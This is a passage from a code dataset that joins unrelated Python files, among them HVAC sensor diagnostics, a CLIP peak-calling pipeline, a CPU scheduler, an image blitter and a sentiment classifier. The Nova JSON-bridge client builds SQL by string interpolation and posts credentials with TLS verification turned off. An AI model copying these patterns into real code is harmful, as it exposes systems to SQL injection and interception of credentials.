len(mat_oat_diff_list)\r\n\r\n if open_damper_check > self.oat_mat_check:\r\n TempSensorDx.temp_sensor_problem = True\r\n msg = ('{}: The OAT and MAT sensor readings are not consistent '\r\n 'when the outdoor-air damper is fully open.'.format(ECON1))\r\n dx_msg = 0.1\r\n dx_table = {\r\n ECON1 + DX: dx_msg,\r\n ECON1 + EI: 0.0\r\n }\r\n dx_result.log(msg, logging.INFO)\r\n dx_result.insert_table_row(self.table_key, dx_table)\r\n self.open_oat = []\r\n self.open_mat = []\r\n\r\n if avg_oa_ma > self.temp_diff_thr and avg_ra_ma > self.temp_diff_thr:\r\n msg = ('{}: Temperature sensor problem detected. Mixed-air '\r\n 'temperature is less than outdoor-air and return-air'\r\n 'temperatures.'.format(ECON1))\r\n dx_msg = 1.1\r\n dx_table = {\r\n ECON1 + DX: dx_msg,\r\n ECON1 + EI: 0.0\r\n }\r\n TempSensorDx.temp_sensor_problem = True\r\n\r\n elif avg_ma_oa > self.temp_diff_thr and avg_ma_ra > self.temp_diff_thr:\r\n msg = ('{}: Temperature sensor problem detected Mixed-air '\r\n 'temperature is greater than outdoor-air and return-air '\r\n 'temperatures.'.format(ECON1))\r\n dx_msg = 2.1\r\n dx_table = {\r\n ECON1 + DX: dx_msg,\r\n ECON1 + EI: 0.0\r\n }\r\n TempSensorDx.temp_sensor_problem = True\r\n\r\n elif TempSensorDx.temp_sensor_problem is None or not TempSensorDx.temp_sensor_problem:\r\n msg = '{}: No problems were detected.'.format(ECON1)\r\n dx_msg = 0.0\r\n dx_table = {\r\n ECON1 + DX: dx_msg,\r\n ECON1 + EI: 0.0\r\n }\r\n TempSensorDx.temp_sensor_problem = False\r\n\r\n else:\r\n msg = '{}: diagnostic was inconclusive.'.format(ECON1)\r\n # color_code = 'GREY'\r\n dx_msg = 3.2\r\n dx_table = {\r\n ECON1 + DX: dx_msg,\r\n ECON1 + EI: 0.0\r\n }\r\n TempSensorDx.temp_sensor_problem = False\r\n\r\n dx_result.insert_table_row(self.table_key, dx_table)\r\n dx_result.log(msg, logging.INFO)\r\n dx_result = self.clear_data(dx_result)\r\n return dx_result\r\n\r\n def clear_data(self, dx_result):\r\n '''\r\n reinitialize class insufficient_oa data\r\n '''\r\n self.oat_values = []\r\n self.rat_values = []\r\n self.mat_values = []\r\n self.timestamp = []\r\n return dx_result\r\n","sub_path":"pnnl/EconomizerRCxAgent/economizer/diagnostics/temperature_sensor_dx.py","file_name":"temperature_sensor_dx.py","file_ext":"py","file_size_in_byte":9970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"281734628","text":"\nimport argparse\nimport logging\nimport os\n\nimport numpy\n\nimport matplotlib.pyplot as plt\nimport peak_calling_with_control as call_ctl\nimport peak_calling_without_control as call\nimport peakcaller_comparison as peakcomparison\nimport panpeaker_refinement as refi\n\n#########################\n## NECESSARY TOOLS ##\n#########################\n\n# PEAKachu\n# Piranha\n# PureCLIP\n# bedtools\n# matplotlib_venn\n\n####################\n## ARGS INPUT ##\n####################\n\ntool_description = \"\"\"\nThe tool needs bam files which are correctly sorted.\nProvide a list of signal (CLIP) files and a list of \ncontrol (Input, IgG, GFP, or others) files. The tool\ngenerates a list of roust peaks together with a Venn diagram \nshared between all differen peak calling algorithms, \nlocated in the folder robust_peaks. All peaks found by \na pairwise comparison of the supported peakcaller are \nfound in pairwise_peaks. PanPeaker generates further a \nlist of peaks for each algorithm, found under the \nindividual name (PEAKachu, Piranha, and PureCLIP).\n\nYou can provide for PEAKachu, Piranha and PureCLIP\nparameters. If not, then PanPeaker will use the default\nsettings of each algorithm. \n\"\"\"\n\n# parse command line arguments\nparser = argparse.ArgumentParser(description=tool_description, usage='%(prog)s [options]',\n formatter_class=argparse.RawDescriptionHelpFormatter)\n\n# version\nparser.add_argument(\n \"-v\", \"--version\", action=\"version\", version=\"%(prog)s 0.0\")\n\n# positional arguments\nparser.add_argument(\n \"-i\", \"--input_signal_bam\",\n metavar='*.bam',\n required=True,\n nargs=\"+\",\n help=\"List of paths to the signal bam files.\")\nparser.add_argument(\n \"-b\", \"--input_signal_bai\",\n metavar='*.bai',\n required=True,\n nargs=\"+\",\n help=\"List of paths to the signal bai files.\")\nparser.add_argument(\n \"-g\", \"--genome_file\",\n metavar='*.fa',\n required=True,\n help=\"Path to genome file (fasta).\")\nparser.add_argument(\n \"--chr_sizes\",\n metavar='*.txt',\n required=True,\n help=\"Path to genomes chromosome sizes (txt).\")\n\n# optional arguments\nparser.add_argument(\n \"-c\", \"--input_control_bam\",\n metavar='*.bam',\n nargs=\"+\",\n help=\"List of paths to the control bam files.\")\nparser.add_argument(\n \"-k\", \"--input_control_bai\",\n metavar='*.bai',\n nargs=\"+\",\n help=\"List of paths to the control bai files.\")\nparser.add_argument(\n \"-o\", \"--output_folder\",\n metavar='path/',\n default=os.getcwd(),\n help=\"Write results to this path.\")\nparser.add_argument(\n \"-s\", \"--output_name\",\n metavar='prefix',\n help=\"Use this to name the output file.\")\nparser.add_argument(\n \"--peakachu\",\n metavar='...',\n default=\"--max_insert_size 200 --mad_multiplier 2.0 --fc_cutoff 2.0 --padj_threshold 0.05\",\n help=\"Parameter list for PEAKachu\")\nparser.add_argument(\n \"--piranha\",\n metavar='...',\n default=\"-p 0.05\",\n help=\"Parameter list for Piranha\")\nparser.add_argument(\n \"--pureclip\",\n metavar='...',\n default=\"-bc 0\",\n help=\"Parameter list for PureCLIP\")\nparser.add_argument(\n \"-nt\", \"--threads\",\n metavar='int',\n default=\"1\",\n help=\"Threads for PanPeaker\")\nparser.add_argument(\n \"--signal_bam_peakachu\",\n metavar='*.bam',\n nargs=\"+\",\n help=\"List of paths to the signal bam files for PEAKachu.\")\nparser.add_argument(\n \"--control_bam_peakachu\",\n metavar='*.bam',\n nargs=\"+\",\n help=\"List of paths to the signal bam files for PEAKachu.\")\nparser.add_argument(\n \"--para_sets\",\n metavar='*.txt',\n help=\"Paths to the parameter set file.\")\nparser.add_argument(\n \"--seed\",\n metavar='int',\n default=0,\n help=\"Set seed for IDR calculation.\")\nparser.add_argument(\n \"--refinement\",\n action='store_true',\n help=\"Activate the refinement module. Panpeaker will merge significant peaks and creates an additional plot\")\nparser.add_argument(\n \"--adj_pval\",\n metavar='float',\n default=0.05,\n help=\"Set the adjusted p-value (BH) threshold for the refinement module, to filer peaks.\")\n\n######################\n## CHECKS INPUT ##\n######################\n\nparser.add_argument(\n \"-d\", \"--debug\",\n help=\"Print lots of debugging information\",\n action=\"store_true\")\n\nargs = parser.parse_args()\nif args.debug:\n logging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s - %(filename)s - %(levelname)s - %(message)s\")\nelse:\n logging.basicConfig(format=\"%(filename)s - %(levelname)s - %(message)s\")\nlogging.info(\"Parsed arguments:\")\nlogging.info(\"interval_file: '{}'\".format(args.input_signal_bam))\nif args.output_folder:\n logging.info(\"outfile: enabled writing to file\")\n logging.info(\"outfile: '{}'\".format(args.output_folder))\nlogging.info(\"\")\n\n##TODO CHECK if bam and bai array have the same length\n\n###################\n## CODE BODY ##\n###################\n\nprint(\"[START]\")\n\n# check if controls are provided\nbool_control = 1\nif( args.input_control_bam ):\n bool_control = 0\n print(\"[NOTE] Controls provided\")\nelse:\n print(\"[NOTE] Controls not provided\")\n\n# define input for PEAKachu base don user choice\nsignal_bam_files_peakachu = args.input_signal_bam\ncontrol_bam_files_peakachu = args.input_control_bam\nif( args.signal_bam_peakachu ):\n signal_bam_files_peakachu = args.signal_bam_peakachu\nif( args.control_bam_peakachu ):\n control_bam_files_peakachu = args.control_bam_peakachu\n\nfinal_parameterset_dict = dict()\nfinal_parameterset_dict[\"PEAKachu\"] = args.peakachu.strip(\"\\\"\")\nfinal_parameterset_dict[\"Piranha\"] = args.piranha.strip(\"\\\"\")\nfinal_parameterset_dict[\"PureCLIP\"] = args.pureclip.strip(\"\\\"\")\n\nif ( args.para_sets ):\n\n print(\"[NOTE] Generate list of paramter sets.\")\n para_dict = dict()\n para_dict[\"PEAKachu\"] = list()\n para_dict[\"Piranha\"] = list()\n para_dict[\"PureCLIP\"] = list()\n\n parameterset_file = open(args.para_sets, \"r\")\n headline = parameterset_file.readline()\n headline_list = headline.strip(\"\\n\").split(\"\\t\")\n\n print(headline_list)\n\n for line in parameterset_file:\n para_sets = line.strip(\"\\n\").split(\"\\t\")\n\n for i in range(0, len(para_sets)):\n if ( para_sets[i] == \"none\" ):\n if ( headline_list[i] == \"PEAKachu\" ):\n para_dict[headline_list[i]].append(args.peakachu.strip(\"\\\"\"))\n if (headline_list[i] == \"Piranha\"):\n para_dict[headline_list[i]].append(args.piranha.strip(\"\\\"\"))\n if (headline_list[i] == \"PureCLIP\"):\n para_dict[headline_list[i]].append(args.pureclip.strip(\"\\\"\"))\n else:\n para_dict[headline_list[i]].append(para_sets[i])\n\n num_parametersets = len(para_dict[\"PEAKachu\"])\n\n num_robust_peaks_list = [-1] * num_parametersets\n\n # Generate a log file for the parameter testing in case it breaks down for a set.\n log_parameter_finding_file = open(args.output_folder + \"/log_parameter_finding_file.txt\", \"w\")\n log_parameter_finding_file.write(headline.strip(\"\\n\") + \"\\tNumber of Robust Peaks\\n\")\n log_parameter_finding_file.close()\n\n print(\"[NOTE] Find best parameter set.\")\n for i in range(0, num_parametersets):\n print(\"... testing paramter set \" + str(i+1))\n\n if( bool_control == 0 ):\n print(\"[NOTE] Running PureCLIP\")\n call_ctl.peakcalling_pureclip(args.input_signal_bam, args.input_signal_bai, args.input_control_bam,\n args.input_control_bai, args.genome_file, args.chr_sizes, args.output_folder, args.threads,\n para_dict[\"PureCLIP\"][i])\n\n print(\"[NOTE] Running Piranha\")\n call_ctl.peakcalling_piranha(args.input_signal_bam, args.input_control_bam,\n args.output_folder, para_dict[\"Piranha\"][i], args.chr_sizes)\n\n print(\"[NOTE] Running PEAKachu\")\n call_ctl.peakcalling_peakachu(signal_bam_files_peakachu, control_bam_files_peakachu,\n args.output_folder, para_dict[\"PEAKachu\"][i], args.chr_sizes)\n else:\n print(\"[NOTE] Running PureCLIP\")\n call.peakcalling_pureclip(args.input_signal_bam, args.input_signal_bai, args.genome_file,\n args.chr_sizes, args.output_folder, args.threads, para_dict[\"PureCLIP\"][i])\n\n print(\"[NOTE] Running Piranha\")\n call.peakcalling_piranha(args.input_signal_bam, args.output_folder,\n para_dict[\"Piranha\"][i], args.chr_sizes)\n\n print(\"[NOTE] Running PEAKachu\")\n call.peakcalling_peakachu(signal_bam_files_peakachu, control_bam_files_peakachu,\n para_dict[\"PEAKachu\"][i], args.chr_sizes)\n\n num_robust_peaks_list[i] = peakcomparison.peakcaller_comparison(args.output_folder)\n\n # create line\n next_line_for_log_file = \"\"\n for j in range(0, len(headline_list)):\n next_line_for_log_file = next_line_for_log_file + para_dict[headline_list[j]][i] + \"\\t\"\n\n log_parameter_finding_file = open(args.output_folder + \"/log_parameter_finding_file.txt\", \"a\")\n log_parameter_finding_file.write(\"{}\\t{}\\n\".format(next_line_for_log_file, num_robust_peaks_list[i]))\n log_parameter_finding_file.close()\n\n print(\"... generate barplot of the number of robust peaks.\")\n\n y_pos = numpy.arange(len(num_robust_peaks_list))\n bars = [\"Set\" + str(x+1) for x in range(0, len(num_robust_peaks_list))]\n f = plt.figure()\n plt.bar(y_pos, num_robust_peaks_list)\n plt.xticks(y_pos, bars)\n plt.xlabel('Parameter Sets')\n plt.ylabel('Number of Robust Peaks (In All Peakcallers)')\n plt.show()\n f.savefig(args.output_folder + \"/parameter_set_plot.pdf\", bbox_inches='tight')\n\n print(\"... save best parameter set.\")\n best_set_index = numpy.argmax(num_robust_peaks_list)\n final_parameterset_dict[\"PEAKachu\"] = para_dict[\"PEAKachu\"][best_set_index]\n final_parameterset_dict[\"Piranha\"] = para_dict[\"Piranha\"][best_set_index]\n final_parameterset_dict[\"PureCLIP\"] = para_dict[\"PureCLIP\"][best_set_index]\n\n log_parameter_finding_file = open(args.output_folder + \"/log_parameter_finding_file.txt\", \"a\")\n log_parameter_finding_file.write(\"Using Set:\\t{}\\t{}\\t{}\\n\".format(para_dict[\"PEAKachu\"][best_set_index],\n para_dict[\"Piranha\"][best_set_index],\n para_dict[\"PureCLIP\"][best_set_index]))\n log_parameter_finding_file.close()\n\nprint(\"[NOTE] Execute peak calling with best or chosen parameter set.\")\nif( bool_control == 0 ):\n print(\"[NOTE] Running PureCLIP\")\n call_ctl.peakcalling_pureclip(args.input_signal_bam, args.input_signal_bai, args.input_control_bam,\n args.input_control_bai, args.genome_file, args.chr_sizes, args.output_folder, args.threads,\n final_parameterset_dict[\"PureCLIP\"])\n\n print(\"[NOTE] Running Piranha\")\n call_ctl.peakcalling_piranha(args.input_signal_bam, args.input_control_bam,\n args.output_folder, final_parameterset_dict[\"Piranha\"], args.chr_sizes)\n\n print(\"[NOTE] Running PEAKachu\")\n call_ctl.peakcalling_peakachu(signal_bam_files_peakachu, control_bam_files_peakachu,\n args.output_folder, final_parameterset_dict[\"PEAKachu\"], args.chr_sizes)\nelse:\n print(\"[NOTE] Running PureCLIP\")\n call.peakcalling_pureclip(args.input_signal_bam, args.input_signal_bai, args.genome_file,\n args.chr_sizes, args.output_folder, args.threads, final_parameterset_dict[\"PureCLIP\"])\n\n print(\"[NOTE] Running Piranha\")\n call.peakcalling_piranha(args.input_signal_bam, args.output_folder,\n final_parameterset_dict[\"Piranha\"], args.chr_sizes)\n\n print(\"[NOTE] Running PEAKachu\")\n call.peakcalling_peakachu(signal_bam_files_peakachu, control_bam_files_peakachu,\n final_parameterset_dict[\"PEAKachu\"], args.chr_sizes)\n\n\nprint(\"[NOTE] Peakcaller Comparison\")\npeakcomparison.peakcaller_comparison(args.output_folder)\n\nprint(\"[NOTE] IDR\")\npeakcomparison.idr(args.output_folder, args.seed, 1000, args.threads, len(args.input_signal_bam))\n\nif (args.refinement):\n print(\"[NOTE] Run Refinement with adjusted p-value of <= {}\".format(args.adj_pval))\n refi.refinement(args.output_folder, args.adj_pval)\n\nprint(\"[END]\")","sub_path":"PanPeaker.py","file_name":"PanPeaker.py","file_ext":"py","file_size_in_byte":12557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"587301772","text":"from time import time\nfrom dataclasses import dataclass\n\nfrom immudb.grpc import schema_pb2, schema_pb2_grpc\nfrom immudb.rootService import RootService\n\n@dataclass\nclass batchSetResponse:\n index: schema_pb2.Index\n\ndef _packValueTime(kv,tstamp):\n content=schema_pb2.Content(timestamp=tstamp, payload=kv.value)\n kv=schema_pb2.KeyValue(key=kv.key, value=content.SerializeToString())\n return kv\n \ndef call(service: schema_pb2_grpc.ImmuServiceStub, rs: RootService, request: schema_pb2.KVList):\n currtime=int(time())\n \n rawRequest = schema_pb2.KVList(\n KVs = [_packValueTime(kv,currtime) for kv in request.KVs],\n )\n\n idx = service.SetBatch(rawRequest)\n return batchSetResponse(\n index = idx\n )\n","sub_path":"immudb/handler/batchSet.py","file_name":"batchSet.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"645980066","text":"from .process import Process\nfrom modules.methods.fcfs import fcfs\nfrom modules.methods.p import p\nfrom modules.methods.sjf import sjf\nfrom modules.methods.srtf import srtf\nfrom modules.methods.pep import pep\nfrom modules.methods.rr import rr\n\nclass Scheduler():\n def __init__(self, type='none'):\n self.type = type\n\n def set_and_run(self, type, number_of_processes):\n self.type = type\n self.run(number_of_processes)\n\n def run(self, number_of_processes):\n process_array = self.get_process_array(number_of_processes)\n\n if self.type == 'fcfs':\n fcfs(process_array)\n elif self.type == 'sjf':\n sjf(process_array)\n elif self.type == 'srtf':\n srtf(process_array)\n elif self.type == 'p':\n p(process_array)\n elif self.type == 'pep':\n pep(process_array)\n elif self.type == 'rr':\n rr(process_array)\n else:\n print('Error!')\n\n def get_process_array(self, number_of_processes):\n validInput = False\n print('\\n\\n--- Creating Process Array ---\\n')\n\n process_array = []\n\n for process_number in range(number_of_processes):\n print(f'Process {process_number}: ')\n\n while not validInput:\n burst_time = input('Burst Time: ')\n\n try:\n burst_time = int(burst_time)\n except ValueError:\n print(\"Error! Please enter a valid number!\\n\")\n continue\n \n if burst_time < 0:\n print(\"Error! Please enter a valid number!\\n\")\n continue\n\n validInput = True\n \n validInput = False\n \n while not validInput:\n arrival_time = input('Arrival Time: ')\n\n try:\n arrival_time = int(arrival_time)\n except ValueError:\n print(\"Error! Please enter a valid number!\\n\")\n continue\n \n if arrival_time < 0:\n print(\"Error! Please enter a valid number!\\n\")\n continue\n\n validInput = True\n \n validInput = False\n\n process_array.append(Process(process_index=process_number, burst_time=burst_time, arrival_time=arrival_time))\n print('\\n')\n\n return process_array","sub_path":"modules/cpu_scheduler.py","file_name":"cpu_scheduler.py","file_ext":"py","file_size_in_byte":2475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"347620629","text":"from anagram_sets import *\r\nimport shelve\r\n\r\ndef store_anagrams(filename, anadict):\r\n\tshelf = shelve.open(filename, 'c' , protocol = 2)\r\n\tfor word, wordlist in anadict.items():\r\n\t\tshelf[word] = wordlist\r\n\tshelf.close()\r\n\r\n\r\ndef read_anagrams(filename, word):\r\n\tshelf = shelve.open(filename, protocol = 2)\r\n\tsign = sform(word)\r\n\treturn shelf[sign]\r\n\r\nad = findAnagrams('words.txt')\r\nstore_anagrams('anagrams.db', ad)\r\nprint(read_anagrams('anagrams.db', store))","sub_path":"PythonScripts/pickle.py","file_name":"pickle.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"160923045","text":"import json\n\nimport requests\n\nfrom stacktach import utils as stackutils\nfrom stacktach.reconciler import exceptions\nfrom stacktach.reconciler.utils import empty_reconciler_instance\n\n\nGET_INSTANCE_QUERY = \"SELECT * FROM instances where uuid ='%s';\"\n\n\nclass JSONBridgeClient(object):\n src_str = 'json_bridge:nova_db'\n\n def __init__(self, config):\n self.config = config\n\n def _url_for_region(self, region):\n return self.config['url'] + self.config['databases'][region]\n\n def _do_query(self, region, query):\n data = {'sql': query}\n credentials = (self.config['username'], self.config['password'])\n return requests.post(self._url_for_region(region), data,\n verify=False, auth=credentials).json()\n\n def _to_reconciler_instance(self, instance):\n r_instance = empty_reconciler_instance()\n r_instance.update({\n 'id': instance['uuid'],\n 'instance_type_id': instance['instance_type_id'],\n })\n\n if instance['launched_at'] is not None:\n launched_at = stackutils.str_time_to_unix(instance['launched_at'])\n r_instance['launched_at'] = launched_at\n\n if instance['terminated_at'] is not None:\n deleted_at = stackutils.str_time_to_unix(instance['terminated_at'])\n r_instance['deleted_at'] = deleted_at\n\n if instance['deleted'] != 0:\n r_instance['deleted'] = True\n\n return r_instance\n\n def get_instance(self, region, uuid):\n results = self._do_query(region, GET_INSTANCE_QUERY % uuid)['result']\n if len(results) > 0:\n return self._to_reconciler_instance(results[0])\n else:\n msg = \"Couldn't find instance (%s) using JSON Bridge in region (%s)\"\n raise exceptions.NotFound(msg % (uuid, region))","sub_path":"stacktach/reconciler/nova.py","file_name":"nova.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"49372793","text":"def insertionSort(A):\r\n for i in range(1,len(A)):\r\n key = A[i]\r\n j = i-1\r\n while j >= 0 and key < A[j]:\r\n A[j+1] = A[j]\r\n j -= 1\r\n\r\n A[j+1] = key\r\n\r\nfilename=raw_input('Path do arquivo:')\r\nfile = open(filename, 'r')\r\n\r\nr_insertion = [int(i) for i in file]\r\n\r\ninsertionSort(r_insertion)\r\n\r\nfor i in range(len(r_insertion)):\r\n resultado = open('r_insertion.txt', 'a')\r\n resultado.write(str(r_insertion[i])+ '\\n') \r\n resultado.close()\r\n \r\n \r\n\r\n\r\n\r\n","sub_path":"atividade1/insertionsort/insertionsort.py","file_name":"insertionsort.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"619961731","text":"import web\nimport csv\nimport json\nimport urllib\n\nurls = (\n '/.*', 'hello',\n )\n\nclass hello:\n def POST(self):\n web.header('Content-Type', 'text/html')\n web.header('Content-disposition', 'attachment; filename=trenchesJSON.json')\n kml = web.input()\n \n kml = urllib.unquote(kml[\"jsondata\"])\n \n return kml\n \napplication = web.application(urls, globals()).wsgifunc()\n","sub_path":"trenchesJSON.py","file_name":"trenchesJSON.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"331340313","text":"\nimport platform\nfrom tdasm import Tdasm, Runtime\n\ndef _blt_rect_code64():\n code = \"\"\"\n #DATA\n uint64 sa, da\n uint32 dx4, sx4, sy, sw\n uint32 y, y2, spitch, dpitch\n int32 inc_y = 1\n\n #CODE\n call _bltrgba\n #END\n\n _bltrgba:\n mov eax, dword [y]\n cmp eax, dword [y2]\n je _endblt\n\n imul eax, dword [dpitch]\n add eax, dword [dx4]\n add rax, qword [da]\n mov rdi, rax\n\n mov rsi, qword [sa]\n mov eax, dword [spitch]\n imul eax, dword [sy]\n add rsi, rax\n mov ebx, dword [sx4]\n add rsi, rbx\n mov ecx, dword [sw]\n\n ;rep movs dword [edi], dword [esi]\n _loop:\n mov eax, dword [rsi]\n mov dword [rdi], eax\n add rsi, 4\n add rdi, 4\n sub ecx, 1\n jnz _loop\n \n mov eax, dword [inc_y]\n add dword [sy], eax \n add dword [y], 1\n jmp _bltrgba\n _endblt:\n ret \n\n \"\"\"\n return code\n\ndef _blt_rect_code32():\n code = \"\"\"\n #DATA\n uint32 sa, da, dx4, sx4, sy, sw\n uint32 y, y2, spitch, dpitch\n int32 inc_y = 1\n\n #CODE\n call _bltrgba\n #END\n\n _bltrgba:\n mov eax, dword [y]\n cmp eax, dword [y2]\n je _endblt\n\n imul eax, dword [dpitch]\n add eax, dword [dx4]\n add eax, dword [da]\n mov edi, eax\n\n mov esi, dword [sa]\n mov eax, dword [spitch]\n imul eax, dword [sy]\n add esi, eax\n add esi, dword [sx4]\n mov ecx, dword [sw]\n\n rep movs dword [edi], dword [esi]\n \n mov eax, dword [inc_y]\n add dword [sy], eax \n add dword [y], 1\n jmp _bltrgba\n _endblt:\n ret \n \"\"\"\n return code\n\ndef _blt_rect_code():\n bits = platform.architecture()[0]\n if bits == '64bit':\n return _blt_rect_code64()\n else:\n return _blt_rect_code32()\n\nbits = platform.architecture()[0]\nif bits == '64bit':\n _mc = Tdasm().assemble(_blt_rect_code(), ia32=False)\nelse:\n _mc = Tdasm().assemble(_blt_rect_code(), ia32=True)\n_runtime = Runtime()\n_data_section = _runtime.load(\"bltrgba\", _mc)\n\ndef blt_image(src, dest, sx=0, sy=0, sw=-1, sh=-1, dx=0, dy=0, fliped=False):\n \"\"\"\n Transfer block of image from source to destination.\n\n @param src - source image \n @param dest - destination image\n @param sx - x position in source image\n @param sy - y position in source image\n @param sw - width of source image\n @param sh - height of source image\n @param dx - x position in destination image\n @param dy - y position in destination image\n @param fliped - vertical flip of the image\n @return False if not even one byte is transferd, otherwise True\n \"\"\"\n \n src_w, src_h = src.size()\n if sw == -1: sw = src_w\n if sh == -1: sh = src_h\n\n if sx < 0 or sy < 0: return False\n if sw <=0 or sh <=0: return False\n if dx < 0 or dy < 0: return False\n if sw > src_w - sx: sw = src_w - sx\n if sh > src_h - sy: sh = src_h - sy\n\n width, height = dest.size()\n dw = width - dx\n dh = height - dy\n if dw <=0 or dh <=0: return False\n if sw > dw: sw = dw \n if sh > dh: sh = dh\n\n da, dpitch = dest.address_info()\n sa, spitch = src.address_info()\n\n return blt_rect(sa, sx, sy, sw, sh, spitch, da, dx, dy, dpitch, fliped)\n\n\ndef blt_rect(sa, sx, sy, sw, sh, spitch, da, dx, dy, dpitch, fliped=False):\n \"\"\"\n Transfer block of memory from source to destination.\n Caution. Bounds are not checked.\n\n @param sa - source address\n @param sx - x position in source\n @param sy - y position in source\n @param sw - width of source rectangle\n @param sh - height of source rectangle\n @param spitch - number of bytes in row of source\n @param da - destination address\n @param dx - x position in destination\n @param dy - y position in destination\n @param dpitch - number of bytes in row of destination\n @param fliped - vertical flip of the rectangle\n @return False if not even one byte is transferd, otherwise True\n \"\"\"\n\n if sx < 0 or sy < 0 or sw <= 0 or sh <= 0 or dx < 0 or dy < 0:\n return False\n\n ds = _data_section\n ds[\"da\"] = da\n ds[\"sa\"] = sa\n ds[\"dx4\"] = dx * 4\n ds[\"sx4\"] = sx * 4\n if fliped:\n ds[\"sy\"] = sy + sh - 1\n ds[\"inc_y\"] = -1\n else:\n ds[\"sy\"] = sy\n ds[\"inc_y\"] = 1\n ds[\"spitch\"] = spitch\n ds[\"dpitch\"] = dpitch\n ds[\"y\"] = dy\n ds[\"y2\"] = dy + sh\n ds[\"sw\"] = sw\n\n _runtime.run(\"bltrgba\")\n return True\n\n","sub_path":"sdl/blt.py","file_name":"blt.py","file_ext":"py","file_size_in_byte":4718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"350915347","text":"import os\nimport re\n\nfrom itertools import product\nfrom stemmer import PorterStemmer\nfrom sklearn.svm import SVC\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom gensim.models.doc2vec import Doc2Vec, TaggedDocument\n\nstemmer = PorterStemmer()\n\ndef tokenize(path, stemming):\n with open(path, encoding=\"utf-8\") as f:\n text = re.sub(r\"([\\.\\\",\\(\\)!\\?;:])\", \" \\\\1 \", f.read().lower().replace(\"
\", \" \"))\n return [stemmer.stem(t, 0, len(t)-1) for t in text.split()] if stemming else text.split()\n\ndef classify(input_vectors, training_set, validation_set, file_path):\n classifier = SVC(gamma=\"auto\", kernel=\"linear\")\n classifier.fit(input_vectors[:len(training_set)], [f[1] for f in training_set])\n results = classifier.predict(input_vectors[len(training_set):])\n\n correct_predictions = 0\n with open(file_path, \"w\") as prediction_file:\n for i in range(len(results)):\n path = validation_set[i][0]\n true_sent = validation_set[i][1]\n pred_sent = results[i]\n\n correct_predictions += int(true_sent == pred_sent)\n prediction_file.write(path + \": \" + str(true_sent) + \", predicted: \" + str(pred_sent) + \"\\n\")\n\n return correct_predictions/len(results)\n\n# optimal config is uni + bi, stemmed, presence\ndef svm_bow(training_set, validation_set):\n optimal_config = (0,)\n\n for ngrams, stemming, binary in product(((1, 1), (2, 2), (1, 2)), (True, False), (True, False)):\n filename = (\"uni\" if ngrams == (1, 1) else (\"bi\" if ngrams == (2, 2) else \"unibi\")) + \"_\" + \\\n (\"stemmed\" if stemming else \"unstemmed\") + \"_\" + \\\n (\"presence\" if binary else \"freq\") + \".txt\"\n print(\"Testing config \" + filename + \"...\", end=\" \", flush=True)\n\n vectorizer = CountVectorizer( \\\n input=\"filename\", \\\n ngram_range=ngrams, \\\n tokenizer=lambda d: [stemmer.stem(t, 0, len(t)-1) for t in d.split()] if stemming else d.split(), \\\n binary=binary, \\\n min_df=4, max_df=1.0 \\\n )\n\n input_vectors = vectorizer.fit_transform([f[0] for f in training_set + validation_set])\n accuracy = classify(input_vectors, training_set, validation_set, \"predictions_bow/\" + filename)\n\n if accuracy > optimal_config[0]:\n optimal_config = (accuracy, ngrams, stemming, binary)\n print(\"accuracy\", str(100 * accuracy) + \"%\", flush=True)\n\n return optimal_config[1:]\n\n# optimal config is unstemmed, 5 window, 20 epochs\ndef svm_d2v(training_set, validation_set):\n optimal_config = (0,)\n\n data_path = \"data/large/\"\n stemmed_docs = []\n unstemmed_docs = []\n\n print(\"Loading and tokenizing large dataset...\", end=\" \", flush=True)\n for i, path in enumerate([data_path + f for f in os.listdir(data_path)]):\n stemmed_docs.append(TaggedDocument(tokenize(path, True), [i]))\n unstemmed_docs.append(TaggedDocument(tokenize(path, False), [i]))\n print(\"done\\n\")\n\n for stemming, window, epochs in product((True, False), (2, 5, 10), (10, 20)):\n filename = (\"stemmed\" if stemming else \"unstemmed\") + \"_\" + \\\n str(window) + \"window_\" + \\\n str(epochs) + \"epoch.txt\"\n\n print(\"Building doc2vec model for \" + filename + \"...\", end=\" \", flush=True)\n model = Doc2Vec( \\\n stemmed_docs if stemming else unstemmed_docs, \\\n epochs=epochs, window=window, \\\n min_count=1, vector_size=100, hs=1 \\\n )\n print(\"done, classifying...\", end=\" \", flush=True)\n\n paths = [f[0] for f in training_set + validation_set]\n input_vectors = [model.infer_vector(doc) for doc in [tokenize(p, stemming) for p in paths]]\n accuracy = classify(input_vectors, training_set, validation_set, \"predictions_d2v/\" + filename)\n\n if accuracy > optimal_config[0]:\n optimal_config = (accuracy, stemming, window, epochs)\n print(\"accuracy\", str(100 * accuracy) + \"%\", flush=True)\n\n return optimal_config[1:]\n\npos_path = \"data/POS/\"\nneg_path = \"data/NEG/\"\npos_files = [pos_path + p for p in sorted(os.listdir(pos_path))]\nneg_files = [neg_path + p for p in sorted(os.listdir(neg_path))]\n\ntraining_set = []\nvalidation_set = []\n\nfor i in range(len(pos_files)):\n (training_set if i % 10 else validation_set).append((pos_files[i], True))\nfor i in range(len(neg_files)):\n (training_set if i % 10 else validation_set).append((neg_files[i], False))\n\nprint(svm_bow(training_set, validation_set))\nprint(svm_d2v(training_set, validation_set))","sub_path":"assignment2-parameters.py","file_name":"assignment2-parameters.py","file_ext":"py","file_size_in_byte":4574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"523574313","text":"from pymongo import MongoClient\nfrom bson.objectid import ObjectId\nimport 